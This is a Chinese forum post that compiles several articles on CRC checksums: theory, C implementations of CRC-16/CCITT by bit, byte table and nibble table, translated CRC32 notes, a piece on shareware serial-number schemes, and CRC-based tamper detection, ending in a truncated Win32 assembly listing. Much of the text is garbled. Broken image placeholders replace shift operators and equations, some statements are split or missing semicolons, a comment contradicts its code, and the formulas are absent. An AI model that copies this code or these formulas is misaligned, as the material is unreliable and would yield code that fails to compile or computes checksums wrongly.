英锐恩单片机论坛,Microchip单片机,模拟器件,接口电路,麦肯单片机,单片机应用交流
标题:
CRC算法原理及C语言实现
[打印本页]
作者:
winnie
时间:
2009-3-21 13:36
标题:
CRC算法原理及C语言实现
摘 要 本文从理论上推导出CRC算法实现原理,给出三种分别适应不同计算机或微控制器硬件环境的C语言程序。读者更能根据本算法原理,用不同的语言编写出独特风格更加实用的CRC计算程序。
关键词 CRC 算法 C语言
1 引言
循环冗余码CRC检验技术广泛应用于测控及通信领域。CRC计算可以靠专用的硬件来实现,但是对于低成本的微控制器系统,在没有硬件支持下实现CRC检验,关键的问题就是如何通过软件来完成CRC计算,也就是CRC算法的问题。
这里将提供三种算法,它们稍有不同,一种适用于程序空间十分苛刻但CRC计算速度要求不高的微控制器系统,另一种适用于程序空间较大且CRC计算速度要求较高的计算机或微控制器系统,最后一种是适用于程序空间不太大,且CRC计算速度又不可以太慢的微控制器系统。
2 CRC简介
CRC校验的基本思想是利用线性编码理论,在发送端根据要传送的k位二进制码序列,以一定的规则产生一个校验用的监督码(既CRC码)r位,并附在信息后边,构成一个新的二进制码序列数共(k+r)位,最后发送出去。在接收端,则根据信息码和CRC码之间所遵循的规则进行检验,以确定传送中是否出错。
16位的CRC码产生的规则是先将要发送的二进制序列数左移16位(既乘以 )后,再除以一个多项式,最后所得到的余数既是CRC码,如式(2-1)式所示,其中B(X)表示n位的二进制序列数,G(X)为多项式,Q(X)为整数,R(X)是余数(既CRC码)。
(2-1)
求CRC码所采用模2加减运算法则,既是不带进位和借位的按位加减,这种加减运算实际上就是逻辑上的异或运算,加法和减法等价,乘法和除法运算与普通代数式的乘除法运算是一样,符合同样的规律。生成CRC码的多项式如下,其中CRC-16和CRC-CCITT产生16位的CRC码,而CRC-32则产生的是32位的CRC码。本文不讨论32位的CRC算法,有兴趣的朋友可以根据本文的思路自己去推导计算方法。
CRC-16:(美国二进制同步系统中采用)
CRC-CCITT:(由欧洲CCITT推荐)
CRC-32:
接收方将接收到的二进制序列数(包括信息码和CRC码)除以多项式,如果余数为0,则说明传输中无错误发生,否则说明传输有误,关于其原理这里不再多述。用软件计算CRC码时,接收方可以将接收到的信息码求CRC码,比较结果和接收到的CRC码是否相同。
3 按位计算CRC
对于一个二进制序列数可以表示为式(3-1):
(3-1)
求此二进制序列数的CRC码时,先乘以 后(既左移16位),再除以多项式G(X),所得的余数既是所要求的CRC码。如式(3-2)所示:
(3-2)
可以设: (3-3)
其中 为整数, 为16位二进制余数。将式(3-3)代入式(3-2)得:
(3-4)
再设: (3-5)
其中 为整数, 为16位二进制余数,将式(3-5)代入式(3-4),如上类推,最后得到:
(3-6)
根据CRC的定义,很显然,十六位二进制数 既是我们要求的CRC码。
式(3-5)是编程计算CRC的关键,它说明计算本位后的CRC码等于上一位CRC码乘以2后除以多项式,所得的余数再加上本位值除以多项式所得的余数。由此不难理解下面求CRC码的C语言程序。*ptr指向发送缓冲区的首字节,len是要发送的总字节数,0x1021与多项式有关。
[code]
unsigned int cal_crc(unsigned char *ptr, unsigned char len) {
unsigned char i;
unsigned int crc=0;
while(len--!=0) {
for(i=0x80; i!=0; i/=2) {
if((crc&0x8000)!=0) {crc*=2; crc^=0x1021;} /* 余式CRC乘以2再求CRC */
else crc*=2;
if((*ptr&i)!=0) crc^=0x1021; /* 再加上本位的CRC */
}
ptr++;
}
return(crc);
}
[code]
按位计算CRC虽然代码简单,所占用的内存比较少,但其最大的缺点就是一位一位地计算会占用很多的处理器处理时间,尤其在高速通讯的场合,这个缺点更是不可容忍。因此下面再介绍一种按字节查表快速计算CRC的方法。
4 按字节计算CRC
不难理解,对于一个二进制序列数可以按字节表示为式(4-1),其中 为一个字节(共8位)。
(4-1)
求此二进制序列数的CRC码时,先乘以 后(既左移16位),再除以多项式G(X),所得的余数既是所要求的CRC码。如式(4-2)所示:
(4-2)
可以设: (4-3)
其中 为整数, 为16位二进制余数。将式(4-3)代入式(4-2)得:
(4-4)
因为:
(4-5)
其中 是 的高八位, 是 的低八位。将式(4-5)代入式(4-4),经整理后得:
(4-6)
再设: (4-7)
其中 为整数, 为16位二进制余数。将式(4-7)代入式(4-6),如上类推,最后得:
(4-[img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]
很显然,十六位二进制数 既是我们要求的CRC码。
式(4-7)是编写按字节计算CRC程序的关键,它说明计算本字节后的CRC码等于上一字节余式CRC码的低8位左移8位后,再加上上一字节CRC右移8位(也既取高8位)和本字节之和后所求得的CRC码,如果我们把8位二进制序列数的CRC全部计算出来,放如一个表里,采用查表法,可以大大提高计算速度。由此不难理解下面按字节求CRC码的C语言程序。*ptr指向发送缓冲区的首字节,len是要发送的总字节数,CRC余式表是按0x11021多项式求出的。
[code]
unsigned int cal_crc(unsigned char *ptr, unsigned char len) {
unsigned int crc;
unsigned char da;
unsigned int crc_ta[256]={ /* CRC余式表 */
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
0x 1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0
};
crc=0;
while(len--!=0) {
da=(uchar) (crc/256); /* 以8位二进制数的形式暂存CRC的高8位 */
crc<<=8; /* 左移8位,相当于CRC的低8位乘以 */
crc^=crc_ta[da^*ptr]; /* 高8位和当前字节相加后再查表求CRC ,再加上以前的CRC */
ptr++;
}
return(crc);
}
很显然,按字节求CRC时,由于采用了查表法,大大提高了计算速度。但对于广泛运用的8位微处理器,代码空间有限,对于要求256个CRC余式表(共512字节的内存)已经显得捉襟见肘了,但CRC的计算速度又不可以太慢,因此再介绍下面一种按半字节求CRC的算法。
5 按半字节计算CRC
同样道理,对于一个二进制序列数可以按字节表示为式(5-1),其中 为半个字节(共4位)。
(5-1)
求此二进制序列数的CRC码时,先乘以 后(既左移16位),再除以多项式G(X),所得的余数既是所要求的CRC码。如式(4-2)所示:
(5-2)
可以设: (5-3)
其中 为整数, 为16位二进制余数。将式(5-3)代入式(5-2)得:
(5-4)
因为:
(5-5)
其中 是 的高4位, 是 的低12位。将式(5-5)代入式(5-4),经整理后得:
(5-6)
再设: (5-7)
其中 为整数, 为16位二进制余数。将式(5-7)代入式(5-6),如上类推,最后得:
(5-[img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]
很显然,十六位二进制数 既是我们要求的CRC码。
式(5-7)是编写按字节计算CRC程序的关键,它说明计算本字节后的CRC码等于上一字节CRC码的低12位左移4位后,再加上上一字节余式CRC右移4位(也既取高4位)和本字节之和后所求得的CRC码,如果我们把4位二进制序列数的CRC全部计算出来,放在一个表里,采用查表法,每个字节算两次(半字节算一次),可以在速度和内存空间取得均衡。由此不难理解下面按半字节求CRC码的C语言程序。*ptr指向发送缓冲区的首字节,len是要发送的总字节数,CRC余式表是按0x11021多项式求出的。
unsigned cal_crc(unsigned char *ptr, unsigned char len) {
unsigned int crc;
unsigned char da;
unsigned int crc_ta[16]={ /* CRC余式表 */
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
}
crc=0;
while(len--!=0) {
da=((uchar)(crc/256))/16; /* 暂存CRC的高四位 */
crc<<=4; /* CRC右移4位,相当于取CRC的低12位)*/
crc^=crc_ta[da^(*ptr/16)]; /* CRC的高4位和本字节的前半字节相加后查表计算CRC,
然后加上上一次CRC的余数 */
da=((uchar)(crc/256))/16; /* 暂存CRC的高4位 */
crc<<=4; /* CRC右移4位, 相当于CRC的低12位) */
crc^=crc_ta[da^(*ptr&0x0f)]; /* CRC的高4位和本字节的后半字节相加后查表计算CRC,
然后再加上上一次CRC的余数 */
ptr++;
}
return(crc);
}
[code]
5 结束语
以上介绍的三种求CRC的程序,按位求法速度较慢,但占用最小的内存空间;按字节查表求CRC的方法速度较快,但占用较大的内存;按半字节查表求CRC的方法是前两者的均衡,即不会占用太多的内存,同时速度又不至于太慢,比较适合8位小内存的单片机的应用场合。以上所给的C程序可以根据各微处理器编译器的特点作相应的改变,比如把CRC余式表放到程序存储区内等。
CRC32算法学习笔记以及如何用java实现 出自:csdn bootcool 2002年10月19日 23:11 CRC32算法学习笔记以及如何用java实现
CRC32算法学习笔记以及如何用java实现
一:说明
论坛上关于CRC32校验算法的详细介绍不多。前几天偶尔看到Ross N. Williams的文章,总算把CRC32算法的来龙去脉搞清楚了。本来想把原文翻译出来,但是时间参促,只好把自己的一些学习心得写出。这样大家可以更快的了解CRC32的主要思想。由于水平有限,还恳请大家指正。原文可以访问:
http://www.repairfaq.org/filipg/LINK/F_crc_v31.html
。
二:基本概念及相关介绍
2.1 什么是CRC
在远距离数据通信中,为确保高效而无差错地传送数据,必须对数据进行校验即差错控制。循环冗余校验CRC(Cyclic Redundancy Check/Code)是对一个传送数据块进行校验,是一种高效的差错控制方法。
CRC校验采用多项式编码方法。多项式乘除法运算过程与普通代数多项式的乘除法相同。多项式的加减法运算以2为模,加减时不进,错位,如同逻辑异或运算。
2.2 CRC的运算规则
CRC加法运算规则:0+0=0
0+1=1
1+0=1
1+1=0 (注意:没有进位)
CRC减法运算规则:
0-0=0
0-1=1
1-0=1
1-1=0
CRC乘法运算规则:
0*0=0
0*1=0
1*0=0
1*1=1
CRC除法运算规则:
1100001010 (注意:我们并不关心商是多少。)
_______________
10011 [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] 11010110110000
10011,,.,,....
-----,,.,,....
10011,.,,....
10011,.,,....
-----,.,,....
00001.,,....
00000.,,....
-----.,,....
00010,,....
00000,,....
-----,,....
00101,....
00000,....
-----,....
01011....
00000....
-----....
10110...
10011...
-----...
01010..
00000..
-----..
10100.
10011.
-----.
01110
00000
-----
1110 = 余数
2.3 如何生成CRC校验码
(1) 设G(X)为W阶,在数据块末尾添加W个0,使数据块为M+ W位,则相应的多项式为XrM(X);
(2) 以2为模,用对应于G(X)的位串去除对应于XrM(X)的位串,求得余数位串;
(3) 以2为模,从对应于XrM(X)的位串中减去余数位串,结果就是为数据块生成的带足够校验信息的CRC校验码位串。
2.4 可能我们会问那如何选择G(x)
可以说选择G(x)不是一件很容易的事。一般我们都使用已经被大量的数据,时间检验过的,正确的,高效的,生成多项式。一般有以下这些:
16 bits: (16,12,5,0) [X25 standard]
(16,15,2,0) ["CRC-16"]
32 bits: (32,26,23,22,16,12,11,10,8,7,5,4,2,1,0) [Ethernet]
三: 如何用软件实现CRC算法
现在我们主要问题就是如何实现CRC校验,编码和解码。用硬件实现目前是不可能的,我们主要考虑用软件实现的方法。
以下是对作者的原文的翻译:
我们假设有一个4 bits的寄存器,通过反复的移位和进行CRC的除法,最终该寄存器中的值就是我们所要求的余数。
3 2 1 0 Bits
+---+---+---+---+
Pop <-- | | | | | <----- Augmented message(已加0扩张的原始数据)
+---+---+---+---+
1 0 1 1 1 = The Poly
(注意: The augmented message is the message followed by W zero bits.)
依据这个模型,我们得到了一个最最简单的算法:
把register中的值置0.
把原始的数据后添加r个0.
While (还有剩余没有处理的数据)
Begin
把register中的值左移一位,读入一个新的数据并置于register的0 bit的位置。
If (如果上一步的左移操作中的移出的一位是1)
register = register XOR Poly.
End
现在的register中的值就是我们要求的crc余数。
我的学习笔记:
可为什么要这样作呢?我们从下面的实例来说明:
1100001010
_______________
10011 [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] 11010110110000
10011,,.,,....
-----,,.,,....
-》 10011,.,,....
10011,.,,....
-----,.,,....
-》 00001.,,....
00000.,,....
-----.,,....
00010,,....
00000,,....
-----,,....
00101,....
00000,....
我们知道G(x)的最高位一定是1,而商1还是商0是由被除数的最高位决定的。而我们并不关心商究竟是多少,我们关心的是余数。例如上例中的G(x)有5位。我们可以看到每一步作除法运算所得的余数其实就是被除数的最高位后的四位于G(x)的后四位XOR而得到的。那被除数的最高位有什么用呢?我们从打记号的两个不同的余数就知道原因了。当被除数的最高位是1时,商1然后把最高位以后的四位于G(x)的后四位XOR得到余数;如果最高位是0,商0然后把被除数的最高位以后的四位于G(x)的后四位XOR得到余数,而我们发现其实这个余数就是原来被除数最高位以后的四位的值。也就是说如果最高位是0就不需要作XOR的运算了。到这我们总算知道了为什么先前要这样建立模型,而算法的原理也就清楚了。
以下是对作者的原文的翻译:
可是这样实现的算法却是非常的低效。为了加快它的速度,我们使它一次能处理大于4 bit的数据。也就是我们想要实现的32 bit的CRC校验。我们还是假设有和原来一样的一个4 "bit"的register。不过它的每一位是一个8 bit的字节。
3 2 1 0 Bytes
+----+----+----+----+
Pop <-- | | | | | <----- Augmented message
+----+----+----+----+
1<------32 bits------> (暗含了一个最高位的“1”)
根据同样的原理我们可以得到如下的算法:
While (还有剩余没有处理的数据)
Begin
检查register头字节,并取得它的值
求不同偏移处多项式的和
register左移一个字节,最右处存入新读入的一个字节
把register的值和多项式的和进行XOR运算
End
我的学习笔记:
可是为什么要这样作呢? 同样我们还是以一个简单的例子说明问题:
假设有这样的一些值:
当前register中的值: 01001101
4 bit应该被移出的值:1011
生成多项式为: 101011100
Top Register
---- --------
1011 01001101
1010 11100 + (CRC XOR)
-------------
0001 10101101
首4 bits 不为0说明没有除尽,要继续除:
0001 10101101
1 01011100 + (CRC XOR)
-------------
0000 11110001
^^^^
首4 bits 全0说明不用继续除了。
那按照算法的意思作又会有什么样的结果呢?
1010 11100
1 01011100+
-------------
1011 10111100
1011 10111100
1011 01001101+
-------------
0000 11110001
现在我们看到了这样一个事实,那就是这样作的结果和上面的结果是一致的。这也说明了算法中为什么要先把多项式的值按不同的偏移值求和,然后在和register进行异或运算的原因了。另外我们也可以看到,每一个头字节对应一个值。比如上例中:1011,对应01001101。那么对于32 bits 的CRC 头字节,依据我们的模型。头8 bit就该有 2^8个,即有256个值与它对应。于是我们可以预先建立一个表然后,编码时只要取出输入数据的头一个字节然后从表中查找对应的值即可。这样就可以大大提高编码的速度了。
+----+----+----+----+
+-----< | | | | | <----- Augmented message
| +----+----+----+----+
| ^
| |
| XOR
| |
| 0+----+----+----+----+
v +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
+-----> +----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
255+----+----+----+----+
以下是对作者的原文的翻译:
上面的算法可以进一步优化为:
1:register左移一个字节,从原始数据中读入一个新的字节.
2:利用刚从register移出的字节作为下标定位 table 中的一个32位的值
3:把这个值XOR到register中。
4:如果还有未处理的数据则回到第一步继续执行。
用C可以写成这样:
r=0;
while (len--)
r = ((r << [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] | p*++) ^ t[(r >> 24) & 0xFF];
可是这一算法是针对已经用0扩展了的原始数据而言的。所以最后还要加入这样的一个循环,把W个0加入原始数据。
我的学习笔记:
注意不是在预处理时先加入W个0,而是在上面算法描述的循环后加入这样的处理。
for (i=0; i<W/4; i++)
r = (r << [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] ^ t[(r >> 24) & 0xFF];
所以是W/4是因为若有W个0,因为我们以字节(8位)为单位的,所以是W/4个0 字节。注意不是循环w/8次
以下是对作者的原文的翻译:
1:对于尾部的w/4个0字节,事实上它们的作用只是确保所有的原始数据都已被送入register,并且被算法处理。
2:如果register中的初始值是0,那么开始的4次循环,作用只是把原始数据的头4个字节送入寄存器。(这要结合table表的生成来看)。就算register的初始值不是0,开始的4次循环也只是把原始数据的头4个字节把它们和register的一些常量XOR,然后送入register中。
3[img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]A xor B) xor C = A xor (B xor C)
总上所述,原来的算法可以改为:
+-----<Message (non augmented)
|
v 3 2 1 0 Bytes
| +----+----+----+----+
XOR----<| | | | |
| +----+----+----+----+
| ^
| |
| XOR
| |
| 0+----+----+----+----+
v +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
| +----+----+----+----+
+----->+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
+----+----+----+----+
255+----+----+----+----+
算法:
1:register左移一个字节,从原始数据中读入一个新的字节.
2:利用刚从register移出的字节和读入的新字节XOR从而产生定位下标,从table中取得相应的值。
3:把该值XOR到register中
4:如果还有未处理的数据则回到第一步继续执行。
數學算法一向都是密碼加密的核心,但在一般的軟路加密中,它似乎並不太為人們所關心,因為大多數時候軟體加密本身實現的都是一種編程上的技巧。但近幾年來隨著序列號加密程序的普及,數學算法在軟體加密中的比重似乎是越來越大了。
我們先來看看在網路上大行其道的序列號加密的工作原理。當用戶從網路上下載某個Shareware -- 共享軟體後,一般都有使用時間上的限制,當過了共享軟體的試用期後,你必須到這個軟體的公司去註冊後方能繼續使用。註冊過程一般是用戶把自己的私人信息(一般主要指名字)連同信用卡號碼告訴給軟體公司,軟體公司會根據用戶的信息計算出一個序列碼出來,在用戶得到這個序列碼後,按照註冊需要的步驟在軟體中輸入註冊信息和註冊碼,其註冊信息的合法性由軟體驗証通過後,軟體就會取消掉本身的各種限制。這種加密實現起來比較簡單,不需要額外的成本,用戶購買也非常方便,在網上的軟體80%都是以這種方式來保護的。
我們可以注意到軟體驗証序列號的合法性過程,其實就是驗証用戶名與序列號之間的換算關係是否正確的過程。其驗証最基本的有兩種,一種是按用戶輸入的姓名來生成註冊碼,再同用戶輸入的註冊碼相比較,公式表示如下:
序列號 = F(用戶名稱)
但這種方法實際上等於在用戶軟體中再現了軟體公司生成註冊碼的過程,實際上是非常不安全的,不論其換算過程多麼復雜,解密者只需把你的換算過程從程序中提出來就可以編制一個通用的註冊程序。
另外一種是通過註冊碼來驗証用戶名的正確性,公式表示如下:
用戶名稱 = F逆(序列號)
這其實是軟體公司註冊碼計算過程的反算法,如果正向算法與反向算法不是對稱算法的化,對於解密者來說的確有些困難,但這種算法相當不好設計。於是有人考慮到了以下的算法:
F1(用戶名稱) = F2(序列號)
F1、F2是兩種完全不同的算法,但用戶名通過F1算法計算出的特徵字等於用序列號通過F2算法計算出的特徵字,這種算法在設計上比較簡單,保密性相對以上兩種算法也要好得多。如果能夠把F1、F2算法都設計成不可逆算法的化,保密性相當的好,但一旦解密者找到其中一個的反算法的化序列號 = F2逆 (F1(用戶名稱))這種算法就不安全了。一元算法的設計看來再如何努力也很難有太大的突破,那麼二元呢?
特定值 = F(用戶名稱,序列號)
這個算法看上去相當不錯,用戶名稱與序列號之間的關系不再是那麼清晰了,但同時也失去了用戶名稱與序列號的一一對應關係,軟體開發者必須自己維護用戶名稱與序列號之間的唯一性,但這似乎也不是難以辦到的事,建個數據庫就好了。
當然你也可以根據這一思路把用戶名稱或序列號分為幾個部分來構造更多元的算法。
特定值 = F(用戶名1, 用戶名2,..., 序列號1, 序列號2, ...)
現有的序列號加密算法大多是軟體開發者自行設計的,大部分相當簡單。而且有些算法作者雖然下了很大的工夫,但效果往往達不到它所希望的結果。其實現在有很多現成的加密算法可以使用,如RSADES、MD4、MD5...只不過這些算法是為了加密密文或密碼用的,同序列號加密多少有些不同,如果希望使用這些加密算法的化多少需要動點腦筋。我在這里試舉一例,希望有拋磚引玉的作用:
1、在軟體程序中有一段加密過的密文S
2、密鑰 = F(用戶名稱,序列號) 用上面的二元算法得到密鑰
3、明文D = F-DES(密文S, 密鑰) 用得到的密鑰來解密密文得到明文D
4、CRC = F-CRC(明文D) 對得到的明文應用各種CRC統計
5、檢查CRC是否正確。最好多設計几種CRC算法,檢查多個CRC結果是否都正確。上一节我们介绍了花指令,不过花指令毕竟是一种很简单的东西,基本上入了门的Cracker都可以对付得了。所以,我们很有必要给自己的软件加上更好的保护。CRC校验就是其中的一种不错的方法。
CRC是什么东西呢?其实我们大家都不应该会对它陌生,回忆一下?你用过RAR和ZIP等压缩软件吗?它们是不是常常会给你一个恼人的“CRC校验错误”信息呢?我想你应该明白了吧,CRC就是块数据的计算值,它的全称是“Cyclic Redundancy Check”,中文名是“循环冗余码”,“CRC校验”就是“循环冗余校验”。(哇,真拗口,希望大家不要当我是唐僧,呵呵。^_^)
CRC有什么用呢?它的应用范围很广泛,最常见的就是在网络传输中进行信息的校对。其实我们大可以把它应用到软件保护中去,因为它的计算是非常非常非常严格的。严格到什么程度呢?你的程序只要被改动了一个字节(甚至只是大小写的改动),它的值就会跟原来的不同。Hoho,是不是很厉害呢?所以只要给你的“原”程序计算好CRC值,储存在某个地方,然后在程序中随机地再对文件进行CRC校验,接着跟第一次生成并保存好的CRC值进行比较,如果相等的话就说明你的程序没有被修改/破解过,如果不等的话,那么很可能你的程序遭到了病毒的感染,或者被Cracker用16进制工具暴力破解过了。
废话说完了,我们先来看看CRC的原理。
(由于CRC实现起来有一定的难度,所以具体怎样用它来保护文件,留待下一节再讲。)
首先看两个式子:
式一:9 / 3 = 3 (余数 = 0)
式二:(9 + 2 [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] / 3 = 3 (余数 = 2)
在小学里我们就知道,除法运算就是将被减数重复地减去除数X次,然后留下余数。
所以上面的两个式子可以用二进制计算为:(什么?你不会二进制计算?我倒~~~)
式一:
1001 --> 9
0011 - --> 3
---------
0110 --> 6
0011 - --> 3
---------
0011 --> 3
0011 - --> 3
---------
0000 --> 0,余数
一共减了3次,所以商是3,而最后一次减出来的结果是0,所以余数为0
式二:
1011 --> 11
0011 - --> 3
---------
1000 --> 8
0011 - --> 3
---------
0101 --> 5
0011 - --> 3
---------
0010 --> 2,余数
一共减了3次,所以商是3,而最后一次减出来的结果是2,所以余数为2
看明白了吧?很好,let’s go on!
二进制减法运算的规则是,如果遇到0-1的情况,那么要从高位借1,就变成了(10+0)-1=1
CRC运算有什么不同呢?让我们看下面的例子:
这次用式子30 / 9,不过请读者注意最后的余数:
11110 --> 30
1001 - --> 9
---------
1100 --> 12 (很奇怪吧?为什么不是21呢?)
1001 - --> 9
--------
101 --> 5,余数 --> the CRC!
这个式子的计算过程是不是很奇怪呢?它不是直接减的,而是用XOR的方式来运算(程序员应该都很熟悉XOR吧),最后得到一个余数。
对啦,这个就是CRC的运算方法,明白了吗?CRC的本质是进行XOR运算,运算的过程我们不用管它,因为运算过程对最后的结果没有意义;我们真正感兴趣的只是最终得到的余数,这个余数就是CRC值。
进行一个CRC运算我们需要选择一个除数,这个除数我们叫它为“poly”,宽度W就是最高位的位置,所以我刚才举的例子中的除数9,这个poly 1001的W是3,而不是4,注意最高位总是1。(别问为什么,这个是规定)
如果我们想计算一个位串的CRC码,我们想确定每一个位都被处理过,因此,我们要在目标位串后面加上W个0位。现在让我们根据CRC的规范来改写一下上面的例子:
Poly = 1001,宽度W = 3
位串Bitstring = 11110
Bitstring + W zeroes = 11110 + 000 = 11110000
11110000
1001|||| -
-------------
1100|||
1001||| -
------------
1010||
1001|| -
-----------
0110|
0000| -
----------
1100
1001 -
---------
101 --> 5,余数 --> the CRC!
还有两点重要声明如下:
1、只有当Bitstring的最高位为1,我们才将它与poly进行XOR运算,否则我们只是将Bitstring左移一位。
2、XOR运算的结果就是被操作位串Bitstring与poly的低W位进行XOR运算,因为最高位总为0。
呵呵,是不是有点头晕脑胀的感觉了?看不懂的话,再从头看一遍,其实是很好理解的。(就是一个XOR运算嘛!)
好啦,原理介绍到这里,下面我讲讲具体怎么编程。
由于速度的关系,CRC的实现主要是通过查表法,对于CRC-16和CRC-32,各自有一个现成的表,大家可以直接引入到程序中使用。(由于这两个表太长,在这里不列出来了,请读者自行在网络上查找,很容易找到的。)
如果我们没有这个表怎么办呢?或者你跟我一样,懒得自己输入?不用急,我们可以“自己动手,丰衣足食”。
你可能会说,自己编程来生成这个表,会不会太慢了?其实大可不必担心,因为我们是在汇编代码的级别进行运算的,而这个表只有区区256个双字,根本影响不了速度。
这个表的C语言描述如下:
for (i = 0; i < 256; i++)
{
crc = i;
for (j = 0; j < 8; j++)
{
if (crc & 1)
crc = (crc >> 1) ^ 0xEDB88320;
else
crc >>= 1;
}
crc32tbl
= crc;
}
生成表之后,就可以进行运算了。
我们的算法如下:
1、将寄存器向右边移动一个字节。
2、将刚移出的那个字节与我们的字符串中的新字节进行XOR运算,得出一个指向值表table[0..255]的索引。
3、将索引所指的表值与寄存器做XOR运算。
4、如果数据没有全部处理完,则跳到步骤1。
这个算法的C语言描述如下:
temp = (oldcrc ^ abyte) & 0x000000FF;
crc = (( oldcrc >> [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] & 0x00FFFFFF) ^ crc32tbl[temp];
return crc;
好啦,所有的东东都说完啦,最后献上一个完整的Win32Asm例子,请读者仔细研究吧!
(汇编方面的CRC-32资料极少啊,我个人认为下面给出的是很宝贵的资料。)
;****************************************************
;程序名称:演示CRC32原理
;作者:罗聪
;日期:2002-8-24
;出处:
http://laoluoc.yeah.net
(老罗的缤纷天地)
;注意事项:如欲转载,请保持本程序的完整,并注明:转载自“老罗的缤纷天地”(
http://laoluoc.yeah.net
)
;
;特别感谢Win32ASM高手—— dREAMtHEATER 为我的代码作了相当好的优化!
;请各位前去
http://NoteXPad.yeah.net
下载他的小巧的“cool 记事本”—— NoteXPad 来试用!(100% Win32ASM 编写)
;
;****************************************************
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
WndProc proto [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
